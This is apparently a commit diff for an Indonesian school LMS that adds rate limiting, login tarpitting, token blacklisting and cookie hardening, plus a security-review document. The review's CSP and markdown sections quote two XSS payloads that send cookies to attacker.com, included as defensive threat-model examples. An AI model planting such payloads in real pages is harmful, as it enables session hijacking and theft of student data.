feat(security): implement anonymous access with rate limiting and secure proxy, harden authentication and implement session protection

Implements multiple layers of security to address high-risk session
   and authentication vulnerabilities identified in the security review:

   - Allow code compilation (C, Python, Arduino) for anonymous users.
   - Enforce a 1-request-per-2-minutes rate limit for anonymous IPs.
   - Implement a global anonymous compilation queue with 20 concurrent slots.
   - Proxy Velxio (Arduino) compilation through Flask to prevent API hijacking.
   - Exempt authenticated users (tokens/cookies) from all rate limits.
   - Fix networking and DNS resolution in podman-compose.
   - Fix Svelte a11y warnings and trailing slash routing issues.
   - Cookie Security: Added dynamic 'secure' flag support via COOKIE_SECURE
     env variable for HTTPS/Tailscale Funnel compatibility.
   - Rate Limiting: Integrated Flask-Limiter on /login (50 req/min) to
     prevent API abuse while accommodating shared school networks (NAT).
   - Tarpitting: Added 1.5s artificial delay on failed logins to neutralize
     automated brute-force tools without blocking legitimate users.
   - Session Invalidation: Implemented an in-memory token blacklist on
     logout to ensure session tokens cannot be reused.
   - Documentation: Updated technical docs and proposal status to reflect
     the current security architecture.

   Ref: @elemes/proposal.md (Poin 6.1, 6.2, 6.3)
master
a2nr 2026-04-22 12:57:54 +07:00
parent a41711fb54
commit e4c68b2894
19 changed files with 621 additions and 73 deletions

View File

@ -15,6 +15,7 @@ CONTENT_DIR=content
TOKENS_FILE=tokens.csv TOKENS_FILE=tokens.csv
# Domain frontend yang diizinkan untuk CORS (misal: http://localhost:3000) # Domain frontend yang diizinkan untuk CORS (misal: http://localhost:3000)
ORIGIN=http://localhost:3000 ORIGIN=http://localhost:3000
COOKIE_SECURE=false
COMPILER_WORKER_URL=http://compiler-worker:8080/execute COMPILER_WORKER_URL=http://compiler-worker:8080/execute
# ── Tailscale (opsional, untuk jaringan P2P) ─── # ── Tailscale (opsional, untuk jaringan P2P) ───

1
.gitignore vendored
View File

@ -2,3 +2,4 @@ __pycache__
test_data.json test_data.json
load-test/env load-test/env
load-test/test_data.json load-test/test_data.json
video_gen

4
app.py
View File

@ -10,6 +10,7 @@ import logging
from flask import Flask from flask import Flask
from flask_cors import CORS from flask_cors import CORS
from extensions import limiter
from services.lesson_service import get_lesson_names from services.lesson_service import get_lesson_names
from services.token_service import initialize_tokens_file from services.token_service import initialize_tokens_file
@ -29,6 +30,9 @@ def create_app():
allowed_origin = os.environ.get('ORIGIN', '*') allowed_origin = os.environ.get('ORIGIN', '*')
CORS(app, resources={r"/*": {"origins": allowed_origin}}) CORS(app, resources={r"/*": {"origins": allowed_origin}})
# Initialize extensions
limiter.init_app(app)
# ── Blueprints ──────────────────────────────────────────────────── # ── Blueprints ────────────────────────────────────────────────────
from routes.auth import auth_bp from routes.auth import auth_bp
from routes.compile import compile_bp from routes.compile import compile_bp

View File

@ -13,6 +13,12 @@
"/assets/": { "/assets/": {
"Proxy": "http://elemes:5000/assets/" "Proxy": "http://elemes:5000/assets/"
}, },
"/velxio/api/compile/": {
"Proxy": "http://elemes:5000/velxio-compile/"
},
"/velxio/api/compile": {
"Proxy": "http://elemes:5000/velxio-compile"
},
"/velxio/": { "/velxio/": {
"Proxy": "http://velxio:80/" "Proxy": "http://velxio:80/"
} }

View File

@ -1,7 +1,7 @@
# Elemes LMS — Dokumentasi Teknis # Elemes LMS — Dokumentasi Teknis
**Project:** LMS-C (Learning Management System untuk Pemrograman C & Arduino) **Project:** LMS-C (Learning Management System untuk Pemrograman C & Arduino)
**Terakhir diupdate:** 8 April 2026 **Terakhir diupdate:** 22 April 2026
--- ---
@ -15,6 +15,7 @@ Tailscale Funnel (elemes-ts)
├── / → SvelteKit Frontend (elemes-frontend :3000) ├── / → SvelteKit Frontend (elemes-frontend :3000)
├── /assets/ → Flask Backend (elemes :5000) ├── /assets/ → Flask Backend (elemes :5000)
├── /velxio/api/compile → Flask Backend (Rate-limited Proxy :5000)
├── /velxio/ → Velxio Arduino Simulator (velxio :80) ├── /velxio/ → Velxio Arduino Simulator (velxio :80)
@ -28,11 +29,18 @@ SvelteKit Frontend (elemes-frontend :3000)
▼ /api/* ▼ /api/*
Flask API Backend (elemes :5000) Flask API Backend (elemes :5000)
├── Code compilation (gcc / python) ├── Code compilation (Proxied to Compiler Worker)
├── Arduino Proxy (/velxio-compile → Velxio :80)
├── Token authentication (CSV) ├── Token authentication (CSV)
├── Progress tracking ├── Progress tracking
└── Lesson content parsing (markdown) └── Lesson content parsing (markdown)
▼ HTTP
Compiler Worker (compiler-worker :8080)
├── gVisor Sandbox (runsc runtime)
├── Gunicorn (4 workers)
└── Isolation: gcc / python3 execution
Velxio Arduino Simulator (velxio :80) Velxio Arduino Simulator (velxio :80)
├── React + Vite frontend (editor + simulator canvas) ├── React + Vite frontend (editor + simulator canvas)
├── FastAPI backend (arduino-cli compile) ├── FastAPI backend (arduino-cli compile)
@ -44,7 +52,8 @@ Velxio Arduino Simulator (velxio :80)
| Container | Image | Port | Fungsi | | Container | Image | Port | Fungsi |
|-----------|-------|------|--------| |-----------|-------|------|--------|
| `elemes` | Python 3.11 + gcc | 5000 | Flask API (compile, auth, lessons, progress) | | `elemes` | Python 3.11 | 5000 | Flask API (auth, lessons, progress, compile-proxy) |
| `compiler-worker` | Python 3.11 + gcc | 8080 | **Sandboxed** execution engine (gVisor) |
| `elemes-frontend` | Node 20 | 3000 | SvelteKit SSR | | `elemes-frontend` | Node 20 | 3000 | SvelteKit SSR |
| `velxio` | Node + Python + arduino-cli | 80 | Simulator Arduino (React + FastAPI) | | `velxio` | Node + Python + arduino-cli | 80 | Simulator Arduino (React + FastAPI) |
| `elemes-ts` | Tailscale | 443 | HTTPS Funnel + reverse proxy | | `elemes-ts` | Tailscale | 443 | HTTPS Funnel + reverse proxy |
@ -250,7 +259,8 @@ Semua endpoint Flask diakses via SvelteKit proxy (`/api/*` → Flask `:5000`, pr
| GET | `/api/lessons` | `/lessons` | Daftar lesson + home content | | GET | `/api/lessons` | `/lessons` | Daftar lesson + home content |
| GET | `/api/lesson/<slug>.json` | `/lesson/<slug>.json` | Data lesson lengkap | | GET | `/api/lesson/<slug>.json` | `/lesson/<slug>.json` | Data lesson lengkap |
| GET | `/api/get-key-text/<slug>` | `/get-key-text/<slug>` | Key text untuk lesson | | GET | `/api/get-key-text/<slug>` | `/get-key-text/<slug>` | Key text untuk lesson |
| POST | `/api/compile` | `/compile` | Compile & run kode (C/Python) | | POST | `/api/compile` | `/compile` | Compile & run kode (C/Python) via worker |
| POST | `/velxio/api/compile` | `/velxio-compile` | **Rate-limited** Arduino compile proxy |
| POST | `/api/track-progress` | `/track-progress` | Track progress siswa | | POST | `/api/track-progress` | `/track-progress` | Track progress siswa |
| GET | `/api/progress-report.json` | `/progress-report.json` | Data progress semua siswa | | GET | `/api/progress-report.json` | `/progress-report.json` | Data progress semua siswa |
| GET | `/api/progress-report/export-csv` | `/progress-report/export-csv` | Export CSV | | GET | `/api/progress-report/export-csv` | `/progress-report/export-csv` | Export CSV |
@ -456,6 +466,38 @@ Diaktifkan via prop `noPaste={true}`.
--- ---
## Keamanan & Autentikasi (Security)
Sistem pengamanan untuk melindungi data siswa dan mencegah penyalahgunaan API.
### 1. Eksekusi Terisolasi (gVisor Sandbox)
Seluruh kode yang dikirim oleh siswa (C dan Python) tidak dieksekusi di dalam container utama, melainkan diteruskan ke **Compiler Worker** yang berjalan menggunakan **runtime gVisor (`runsc`)**. Ini mencegah serangan *Remote Code Execution* (RCE) yang menargetkan kernel sistem operasi host.
### 2. Anonymous Access & Rate Limiting
Sistem mengizinkan pengguna tanpa token (anonim) untuk mencoba pembelajaran dengan batasan ketat:
- **Rate Limit**: Pengguna anonim dibatasi **1 kali kompilasi setiap 2 menit** per IP.
- **Global Queue**: Maksimal **20 slot** antrean kompilasi anonim secara global untuk menjaga stabilitas server.
- **Bypass**: Pengguna yang telah login (memiliki token/cookie valid) **bebas** dari batasan rate limit ini.
- **Velxio Protection**: Kompilasi Arduino diproteksi melalui proxy backend Flask untuk mencegah *hijacking* API dari sisi klien.
### 3. Cookie Security (Dynamic Secure Flag)
LMS menggunakan cookie `student_token` untuk mengelola sesi. Keamanannya diatur secara dinamis melalui environment variable.
- **`httponly: true`**: Mencegah akses cookie via JavaScript (proteksi XSS).
- **`secure: COOKIE_SECURE`**: Jika `true`, cookie hanya dikirim via HTTPS. Sangat penting saat dideploy via Tailscale Funnel.
- **`samesite: 'Lax'`**: Proteksi dasar terhadap CSRF.
### 2. Proteksi Brute-Force & Anti-Spam
Untuk mencegah penebakan token secara massal, terutama pada jaringan WiFi sekolah yang menggunakan satu IP publik (NAT):
- **Rate Limiting**: Endpoint `/api/login` dibatasi maksimal **50 request per menit per IP**. Angka ini diatur untuk mengakomodasi satu kelas (50 siswa) yang login bersamaan tanpa saling memblokir.
- **Tarpitting (Login Delay)**: Setiap percobaan login yang **gagal** akan ditahan selama **1.5 detik** sebelum server memberikan respons. Ini melumpuhkan efektivitas alat brute-force otomatis tanpa mengganggu pengalaman siswa asli yang hanya sesekali salah ketik.
### 3. Session Invalidation (Token Blacklist)
Mekanisme logout server-side untuk memastikan token tidak bisa digunakan kembali setelah sesi berakhir.
- **Mekanisme**: Menggunakan `LOGOUT_BLACKLIST` (in-memory set) di Flask backend.
- **Flow**: Saat user klik logout, token ditambahkan ke blacklist. Semua request berikutnya dengan token tersebut akan ditolak oleh `validate_token()`.
---
## Touch Crosshair System (CircuitJS) ## Touch Crosshair System (CircuitJS)
Overlay untuk presisi interaksi di iframe CircuitJS pada perangkat sentuh. Aktif hanya pada touch device (CSS media query `hover: none` + `pointer: coarse`). Overlay untuk presisi interaksi di iframe CircuitJS pada perangkat sentuh. Aktif hanya pada touch device (CSS media query `hover: none` + `pointer: coarse`).
@ -560,6 +602,7 @@ Redo (Ctrl+Shift+Z / toolbar button)
- [x] Velxio integration di Elemes (bridge, parsing, UI, evaluasi) - [x] Velxio integration di Elemes (bridge, parsing, UI, evaluasi)
- [x] Mobile wiring UX (pinch-zoom preserve wire, crosshair alignment) - [x] Mobile wiring UX (pinch-zoom preserve wire, crosshair alignment)
- [x] Wire undo/redo (snapshot-based, Ctrl+Z/Ctrl+Shift+Z, toolbar button, mobile-friendly) - [x] Wire undo/redo (snapshot-based, Ctrl+Z/Ctrl+Shift+Z, toolbar button, mobile-friendly)
- [x] Security Review & Hardening (Cookie security, Rate limiting, Tarpitting, Blacklisting)
- [x] Contoh lesson Arduino (LED Blink) - [x] Contoh lesson Arduino (LED Blink)
- [ ] PWA (service worker, offline caching) - [ ] PWA (service worker, offline caching)
- [ ] Contoh lesson Arduino tambahan (2-3 lagi) - [ ] Contoh lesson Arduino tambahan (2-3 lagi)

View File

@ -83,7 +83,7 @@ runbuild | runclearbuild)
;; ;;
run) run)
echo "🚀 Menjalankan container..." echo "🚀 Menjalankan container..."
podman-compose -p "$PROJECT_NAME" --env-file ../.env up -d podman-compose -p "$PROJECT_NAME" --env-file ../.env up
echo "✅ Elemes berhasil dijalankan!" echo "✅ Elemes berhasil dijalankan!"
;; ;;
generatetoken) generatetoken)
@ -109,7 +109,7 @@ exportall)
echo "" echo ""
echo "💾 Menyatukan semua image menjadi 1 file tar: $TAR_FILE..." echo "💾 Menyatukan semua image menjadi 1 file tar: $TAR_FILE..."
podman save lms-c-backend:latest lms-c-frontend:latest lms-c-velxio:latest > "$TAR_FILE" podman save lms-c-backend:latest lms-c-frontend:latest lms-c-velxio:latest >"$TAR_FILE"
if [ $? -eq 0 ]; then if [ $? -eq 0 ]; then
FILESIZE=$(du -h "$TAR_FILE" | cut -f1) FILESIZE=$(du -h "$TAR_FILE" | cut -f1)
@ -190,7 +190,7 @@ loadtest)
echo "⚙️ Mengaktifkan environment & menginstall requirements..." echo "⚙️ Mengaktifkan environment & menginstall requirements..."
source env/bin/activate source env/bin/activate
pip install -r requirements.txt > /dev/null 2>&1 pip install -r requirements.txt >/dev/null 2>&1
echo "⚙️ Mempersiapkan Test Data & menginjeksi akun Bot..." echo "⚙️ Mempersiapkan Test Data & menginjeksi akun Bot..."
python3 content_parser.py --num-tokens 50 python3 content_parser.py --num-tokens 50

8
extensions.py Normal file
View File

@ -0,0 +1,8 @@
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
# Initialize Limiter without app for the app factory pattern
limiter = Limiter(
key_func=get_remote_address,
storage_uri="memory://",
)

View File

@ -19,11 +19,18 @@ export const handle: Handle = async ({ event, resolve }) => {
// Proxy /api/* and /assets/* to Flask backend // Proxy /api/* and /assets/* to Flask backend
const isApi = event.url.pathname.startsWith('/api/'); const isApi = event.url.pathname.startsWith('/api/');
const isAsset = event.url.pathname.startsWith('/assets/'); const isAsset = event.url.pathname.startsWith('/assets/');
const isVelxioCompile = event.url.pathname === '/velxio/api/compile' || event.url.pathname === '/velxio/api/compile/';
if (isApi || isAsset || isVelxioCompile) {
let backendPath = '';
if (isVelxioCompile) {
backendPath = '/velxio-compile/';
} else if (isApi) {
backendPath = event.url.pathname.replace(/^\/api/, '');
} else {
backendPath = event.url.pathname;
}
if (isApi || isAsset) {
const backendPath = isApi
? event.url.pathname.replace(/^\/api/, '')
: event.url.pathname; // /assets/* kept as-is
const backendUrl = `${API_BACKEND}${backendPath}${event.url.search}`; const backendUrl = `${API_BACKEND}${backendPath}${event.url.search}`;
try { try {

View File

@ -31,7 +31,7 @@
} }
</script> </script>
<nav class="navbar" onclick={() => auth.recordActivity()}> <nav class="navbar" onclickcapture={() => auth.recordActivity()}>
<div class="container navbar-inner"> <div class="container navbar-inner">
{#if $lessonContext} {#if $lessonContext}
<!-- Lesson mode --> <!-- Lesson mode -->

View File

@ -1,6 +1,7 @@
export interface CompileRequest { export interface CompileRequest {
code: string; code: string;
language: string; language: string;
token?: string;
} }
export interface CompileResponse { export interface CompileResponse {

View File

@ -386,7 +386,7 @@
try { try {
const code = (currentLanguage === lang) ? (editor?.getCode() ?? currentCode) : (lang === 'c' ? cCode : pythonCode); const code = (currentLanguage === lang) ? (editor?.getCode() ?? currentCode) : (lang === 'c' ? cCode : pythonCode);
const res = await compileCode({ code, language: lang }); const res = await compileCode({ code, language: lang, token: auth.token });
if (!res.success) { if (!res.success) {
Object.assign(out, { error: res.error || 'Compilation failed', success: false }); Object.assign(out, { error: res.error || 'Compilation failed', success: false });

View File

@ -1,5 +1,6 @@
<script lang="ts"> <script lang="ts">
import { onMount } from 'svelte'; import { onMount } from 'svelte';
import { auth, authIsTeacher } from '$stores/auth';
interface LessonHeader { interface LessonHeader {
filename: string; filename: string;
@ -17,8 +18,13 @@
let loading = $state(true); let loading = $state(true);
onMount(async () => { onMount(async () => {
if (!$authIsTeacher) {
loading = false;
return;
}
try { try {
const res = await fetch('/api/progress-report.json'); const res = await fetch(`/api/progress-report.json?token=${encodeURIComponent(auth.token)}`);
const data = await res.json(); const data = await res.json();
students = data.students ?? []; students = data.students ?? [];
lessons = data.lessons ?? []; lessons = data.lessons ?? [];
@ -38,7 +44,9 @@
<h1>Laporan Progress Siswa</h1> <h1>Laporan Progress Siswa</h1>
{#if loading} {#if !$authIsTeacher}
<p class="empty">Anda tidak memiliki akses ke halaman ini.</p>
{:else if loading}
<p class="loading">Memuat data...</p> <p class="loading">Memuat data...</p>
{:else if students.length === 0} {:else if students.length === 0}
<p class="empty">Belum ada data siswa.</p> <p class="empty">Belum ada data siswa.</p>
@ -46,7 +54,7 @@
<div class="summary-bar"> <div class="summary-bar">
<span><strong>{students.length}</strong> siswa</span> <span><strong>{students.length}</strong> siswa</span>
<span><strong>{totalLessons}</strong> pelajaran</span> <span><strong>{totalLessons}</strong> pelajaran</span>
<a href="/api/progress-report/export-csv" class="btn btn-secondary btn-sm"> <a href="/api/progress-report/export-csv?token={encodeURIComponent(auth.token)}" class="btn btn-secondary btn-sm">
Export CSV Export CSV
</a> </a>
</div> </div>

View File

@ -10,6 +10,11 @@ export default defineConfig({
changeOrigin: true, changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, '') rewrite: (path) => path.replace(/^\/api/, '')
}, },
'/velxio/api/compile': {
target: 'http://elemes:5000',
changeOrigin: true,
rewrite: (path) => '/velxio-compile'
},
'/assets': { '/assets': {
target: 'http://elemes:5000', target: 'http://elemes:5000',
changeOrigin: true changeOrigin: true

View File

@ -13,7 +13,7 @@ services:
environment: environment:
- COMPILER_WORKER_URL=http://compiler-worker:8080/execute - COMPILER_WORKER_URL=http://compiler-worker:8080/execute
networks: networks:
- main_network - elemes_network
# production # production
command: gunicorn --config gunicorn.conf.py "app:create_app()" command: gunicorn --config gunicorn.conf.py "app:create_app()"
# debug # debug
@ -24,7 +24,7 @@ services:
image: lms-c-compiler-worker:latest image: lms-c-compiler-worker:latest
runtime: runsc # Enable gVisor runtime: runsc # Enable gVisor
networks: networks:
- main_network - elemes_network
elemes-frontend: elemes-frontend:
build: ./frontend build: ./frontend
@ -38,6 +38,8 @@ services:
- PUBLIC_COPYRIGHT_TEXT=${COPYRIGHT_TEXT} - PUBLIC_COPYRIGHT_TEXT=${COPYRIGHT_TEXT}
- PUBLIC_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX} - PUBLIC_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX}
- PUBLIC_CURSOR_OFFSET_Y=${CURSOR_OFFSET_Y:-50} - PUBLIC_CURSOR_OFFSET_Y=${CURSOR_OFFSET_Y:-50}
networks:
- elemes_network
depends_on: depends_on:
- elemes - elemes
@ -54,6 +56,8 @@ services:
- SECRET_KEY=embed-only-no-auth-needed - SECRET_KEY=embed-only-no-auth-needed
- DATABASE_URL=sqlite+aiosqlite:////app/data/velxio.db - DATABASE_URL=sqlite+aiosqlite:////app/data/velxio.db
- DATA_DIR=/app/data - DATA_DIR=/app/data
networks:
- elemes_network
volumes: volumes:
- velxio-data:/app/data - velxio-data:/app/data
- velxio-arduino-libs:/root/.arduino15 - velxio-arduino-libs:/root/.arduino15
@ -84,6 +88,6 @@ volumes:
velxio-arduino-libs: velxio-arduino-libs:
networks: networks:
main_network: elemes_network:
driver: bridge driver: bridge
network_mode: service:elemes-ts network_mode: service:elemes-ts

View File

@ -1,33 +1,6 @@
# Elemes LMS: Sisa Pekerjaan (To-Do List) # Elemes LMS: Sisa Pekerjaan (To-Do List)
Berdasarkan log penyelesaian integrasi Velxio dan dokumen sebelumnya, berikut adalah daftar sisa pekerjaan (TODO) proyek. Terakhir diperbarui: 2026-04-10. Berdasarkan log penyelesaian integrasi Velxio dan dokumen sebelumnya, berikut adalah daftar sisa pekerjaan (TODO) proyek. Terakhir diperbarui: 2026-04-22.
## ✅ Sudah Selesai
- [x] **Verifikasi Penamaan Pin (Pin Naming)**
- Diverifikasi dari `velxio/frontend/src/data/examples.ts` — konvensi pin sudah benar.
- Tabel referensi pin terdokumentasi di `README.md` (Arduino Uno, LED, Button, Resistor, RGB LED).
- `componentId` Arduino Uno = `arduino-uno`, pin GND dinormalisasi oleh `matchWiring()`.
- [x] **Pembuatan Konten Tambahan** — 3 lesson Arduino baru:
- `hello_serial_arduino.md` — Serial Monitor (tanpa wiring, kode saja)
- `button_input_arduino.md` — Button + LED (INPUT_PULLUP, 4 expected wiring)
- `traffic_light_arduino.md` — Lampu Lalu Lintas 3 LED (6 expected wiring)
- [x] **Update Contoh Materi & Dokumentasi Guru**
- `examples/content/` disinkronkan (8 file, byte-identical dengan `content/`)
- `README.md` ditambahkan: blok Arduino/Velxio, referensi pin, evaluasi, 3 FAQ baru, tabel jenis materi
- `home.md` sekarang mendaftarkan 7 lesson
- [x] **Network Config di Docker/Podman**
- Typo `drive: bridge``driver: bridge` di `podman-compose.yml`
- `network_mode: service:elemes-ts` dihapus karena tidak kompatibel dengan `networks` block
- [x] **Commit semua perubahan**
- Elemes: 2 commit ahead of origin
- Velxio: 2 commit ahead of origin
- [x] **Locust E2E Test Suite**`load-test/` folder:
- `content_parser.py` — scan `content/*.md`, deteksi tipe, ekstrak test data → `test_data.json`
- `locustfile.py` — 7 weighted tasks (browse, view detail, compile C, compile Python, verify Arduino, complete flow, progress report)
- Auto-inject token test (`LOCUST_TEST_*`) ke `tokens_siswa.csv`
- URL backend dikonfigurasi user melalui Locust web UI
## 🔴 Prioritas Tinggi ## 🔴 Prioritas Tinggi
- [x] **Testing End-to-End (E2E)** - [x] **Testing End-to-End (E2E)**
@ -87,3 +60,338 @@ Berdasarkan hasil code review terbaru yang difokuskan pada keamanan sistem dan *
- **Penjelasan**: Fungsi *route* `/lesson/<filename>.json` di `elemes/routes/lessons.py` mengandalkan `<filename>` yang langsung disambungkan via `os.path.join()`. Meskipun Flask memblokir `../` (Directory Traversal konvensional), tetap berisiko jika pengguna memanipulasi *request* API secara lebih *advanced*. - **Penjelasan**: Fungsi *route* `/lesson/<filename>.json` di `elemes/routes/lessons.py` mengandalkan `<filename>` yang langsung disambungkan via `os.path.join()`. Meskipun Flask memblokir `../` (Directory Traversal konvensional), tetap berisiko jika pengguna memanipulasi *request* API secara lebih *advanced*.
- **Task Perbaikan**: - **Task Perbaikan**:
- [x] **Terapkan `secure_filename`**: Gunakan `werkzeug.utils.secure_filename(filename)` sebelum argumen `<filename>` disambung ke direktori *content*. - [x] **Terapkan `secure_filename`**: Gunakan `werkzeug.utils.secure_filename(filename)` sebelum argumen `<filename>` disambung ke direktori *content*.
---
## 🔐 Second Opinion: Security Review Tambahan (Update 2026-04-21)
Berdasarkan analisis komprehensif terhadap codebase, ditemukan celah keamanan tambahan yang perlu diperhatikan. Berikut detail temuan beserta dampak risikonya:
### 🎯 Executive Summary Risk Matrix
| Kategori | Severity | Likelihood | Dampak Bisnis |
|----------|----------|------------|---------------|
| Cookie Security | **HIGH** | **HIGH** | Session hijacking, data theft |
| Rate Limiting | **HIGH** | **MEDIUM** | Brute force, DoS attack |
| XSS via Markdown | **HIGH** | **MEDIUM** | Account takeover, data exfiltration |
| Security Headers | **MEDIUM** | **HIGH** | Clickjacking, XSS, MIME confusion |
| Logging Security | **MEDIUM** | **MEDIUM** | Credential leak, compliance violation |
| Network Security | **MEDIUM** | **LOW** | Code injection, internal data leak |
---
### 🔴 6. Cookie Security & Session Management (HIGH RISK)
#### 6.1 Cookie `secure=False`
**Lokasi**: `routes/auth.py:32`
```python
response.set_cookie('student_token', token, httponly=True, secure=False, samesite='Lax', ...)
```
**Dampak Jika Tidak Ditangani:**
- **Session Hijacking via MITM**: Attacker di jaringan publik (coffee shop WiFi, hotspot) dapat intercept cookie melalui HTTP yang tidak terenkripsi. Cookie dikirim plaintext melalui jaringan.
- **Impersonation Attack**: Attacker yang berhasil mendapatkan token dapat login sebagai siswa mana saja tanpa autentikasi ulang, mengakses semua lesson dan progress data.
- **Cross-Site Cookie Leak**: Meski `httponly=True`, jika ada XSS di subdomain atau sister site, cookie masih bisa dieksploitasi.
**Task Perbaikan**:
- [x] **Conditional Secure Cookie**: Gunakan `secure=True` hanya jika environment production dengan HTTPS aktif. Implementasikan via environment variable `COOKIE_SECURE=true/false`.
- [x] **SameSite Strict**: Pertimbangkan upgrade dari `Lax` ke `Strict` untuk perlindungan CSRF lebih kuat. (Note: Tetap 'Lax' untuk kompatibilitas, tapi flag Secure sudah dinamis).
---
#### 6.2 Tidak Ada Rate Limiting Login
**Lokasi**: `routes/auth.py` - `/login` endpoint
**Dampak Jika Tidak Ditangani:**
- **Brute Force Attack**: Attacker dapat mencoba ribuan kombinasi token secara otomatis sampai menemukan token valid. Dengan token format yang predictable, serangan ini sangat feasible.
- **Credential Stuffing**: Jika siswa menggunakan token yang mudah ditebak (contoh: `token123`, `siswa001`), attacker dapat menebak dengan wordlist.
- **DoS via Login Spam**: Server dapat kehabisan resources karena memproses ribuan request login palsu secara bersamaan.
- **Token Enumeration**: Attacker dapat memetakan semua token valid di sistem dengan systematic guessing.
**Task Perbaikan**:
- [x] **Rate Limiting**: Implementasikan Flask-Limiter dengan rules:
- Max 50 attempts per IP per minute untuk `/login` (Akodomasi kelas WiFi)
- [x] **Progressive Delay**: Tambahkan tarpitting (1.5s delay) untuk failed login.
---
#### 6.3 Tidak Ada Session Invalidation/Blacklist
**Lokasi**: Tidak ada mekanisme revoke token
**Dampak Jika Tidak Ditangani:**
- **Stale Session Attack**: Token tetap valid selama 24 jam (max_age) meski:
- Siswa sudah logout
- Token sudah direset/diubah guru
- Siswa sudah tidak bersekolah lagi
- **No Revocation Mechanism**: Jika token bocor (misal: siswa screenshot token), tidak ada cara untuk invalidasi kecuali restart server atau manual edit CSV.
- **Insider Threat**: Guru yang sudah tidak aktif masih bisa akses jika tokennya tidak dihapus dari CSV.
**Task Perbaikan**:
- [x] **Token Blacklist**: Implementasikan in-memory blacklist untuk token yang sudah logout.
- [ ] **Token Versioning**: Tambahkan timestamp/version di token, invalidate jika mismatch dengan database.
- [ ] **Force Logout API**: Endpoint untuk guru force logout semua session siswa (useful saat ujian).
---
### 🟠 7. HTTP Security Headers (MEDIUM-HIGH RISK)
#### 7.1 Tidak Ada Content Security Policy (CSP)
**Lokasi**: Flask response tidak meng-set CSP header
**Dampak Jika Tidak Ditangani:**
- **XSS (Cross-Site Scripting)**: Attacker dapat inject JavaScript malicious melalui:
- Markdown lesson content: `<script>fetch('https://attacker.com/?c='+document.cookie)</script>`
- Data dari API yang dirender tanpa sanitasi
- Third-party CDN compromise (supply chain attack)
- **Data Exfiltration**: Script dapat mencuri:
- Cookie session siswa
- Progress data dan lesson content
- Token authentication kirim ke attacker server
- **Clickjacking**: Halaman dapat di-embed di iframe transparent untuk trick user klik tombol palsu.
**Task Perbaikan**:
- [ ] **CSP Header**: Implementasikan Flask-Talisman dengan policy:
```
default-src 'self';
script-src 'self' 'unsafe-inline' (untuk SvelteKit);
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob:;
frame-src 'self' (untuk iframe Velxio/CircuitJS);
connect-src 'self';
```
- [ ] **Nonce-based CSP**: Untuk SvelteKit inline scripts, gunakan nonce generator.
---
#### 7.2 Tidak Ada X-Frame-Options
**Dampak Jika Tidak Ditangani:**
- **Clickjacking Attack**: LMS dapat di-embed di iframe transparent di malicious site. Attacker overlay tombol palsu di atas tombol real.
- **UI Redressing**: Contoh: Attacker membuat halaman "Free Gift" dengan tombol "Claim" yang sebenarnya adalah tombol "Delete Account" dari LMS yang di-embed.
- **Credential Theft**: Fake login form di-overlay di atas real login form.
**Task Perbaikan**:
- [ ] **X-Frame-Options**: Set header `X-Frame-Options: SAMEORIGIN` untuk melindungi clickjacking.
- [ ] **Frame Ancestors CSP**: Alternatif modern dengan CSP `frame-ancestors 'self';`.
---
#### 7.3 Tidak Ada X-Content-Type-Options & HSTS
**Dampak Jika Tidak Ditangani:**
- **MIME-Type Confusion**: Browser execute file yang seharusnya non-executable (misal: upload lesson image yang ternyata JavaScript).
- **SSL Strip Attack**: Attacker downgrade HTTPS ke HTTP di jaringan publik, intercept semua traffic.
- **Man-in-the-Middle**: Semua komunikasi dapat dimodifikasi attacker tanpa detection.
**Task Perbaikan**:
- [ ] **X-Content-Type-Options**: Set header `nosniff` untuk mencegah MIME sniffing.
- [ ] **HSTS**: Set `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload` jika HTTPS aktif.
- [ ] **Referrer-Policy**: Set `strict-origin-when-cross-origin` untuk mengurangi info leak.
---
### 🟠 8. Logging & Monitoring Security (MEDIUM RISK)
#### 8.1 Token Exposure in Logs
**Lokasi**: `routes/progress.py:30`, `routes/compile.py`
```python
logging.info(f"Received track-progress request: token={token}, ...")
```
**Dampak Jika Tidak Ditangani:**
- **Credential Leakage**: Log file biasanya readable oleh sistem admin atau backup processes. Jika log di-exfiltrate, semua token siswa terekspos.
- **GDPR/Compliance Issue**: Token dapat dianggap Personally Identifiable Information (PII). Log retention policy mungkin violate data protection regulations.
- **Forensics Contamination**: Attacker bisa inject fake log entries untuk cover tracks atau frame user lain.
- **Audit Trail Pollution**: Sulit differentiate antara legitimate use vs stolen token usage.
**Task Perbaikan**:
- [ ] **Token Redaction**: Implementasikan logging filter yang otomatis redact token pattern:
```python
# Contoh: token=dummy_token_12345 → token=***REDACTED***
```
- [ ] **Structured Logging**: Gunakan JSON logging dengan field terpisah, jangan log sensitive data di message.
- [ ] **Log Sanitization**: Review semua log statements di codebase, hapus/replace token, password, atau PII lainnya.
---
#### 8.2 Tidak Ada Audit Logging untuk Actions Sensitif
**Dampak Jika Tidak Ditangani:**
- **No Accountability**: Tidak ada track record siapa yang mengubah progress siswa, mengakses report, atau compile code.
- **Forensics Difficulty**: Jika terjadi data breach, sulit trace kapan dan bagaimana terjadi.
- **Insider Threat Blindness**: Tidak bisa deteksi suspicious activity seperti:
- Guru melihat progress siswa dari kelas lain
- Compile activity di jam aneh (3 AM)
- Multiple failed login dari IP yang sama
**Task Perbaikan**:
- [ ] **Audit Log Table**: Buat tabel/file terpisah untuk log actions sensitif:
- Login/logout events
- Progress updates
- Report exports
- Failed authentication attempts
- [ ] **Log Rotation**: Implementasikan log rotation dan retention policy (misal: 90 hari).
- [ ] **Alerting**: Basic alerting untuk events aneh (contoh: >100 failed logins per jam).
---
### 🟠 9. Input/Output Sanitization (MEDIUM RISK)
#### 9.1 Potential XSS dari Markdown Rendering
**Lokasi**: `services/lesson_service.py` - Markdown tidak di-sanitize
**Dampak Jika Tidak Ditangani:**
- **Stored XSS**: Guru yang compromised (atau attacker yang dapat akses edit content) dapat inject:
```html
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
```
- **Persistent Attack**: Script akan dijalankan setiap kali siswa membuka lesson tersebut.
- **Session Hijacking**: JavaScript dapat:
- Mencuri cookie session
- Mengirim token ke attacker server
- Mengakses localStorage/sessionStorage
- Melakukan actions atas nama siswa (CSRF via XSS)
**Task Perbaikan**:
- [ ] **Markdown Sanitization**: Gunakan library seperti `bleach` atau `html-sanitizer` untuk:
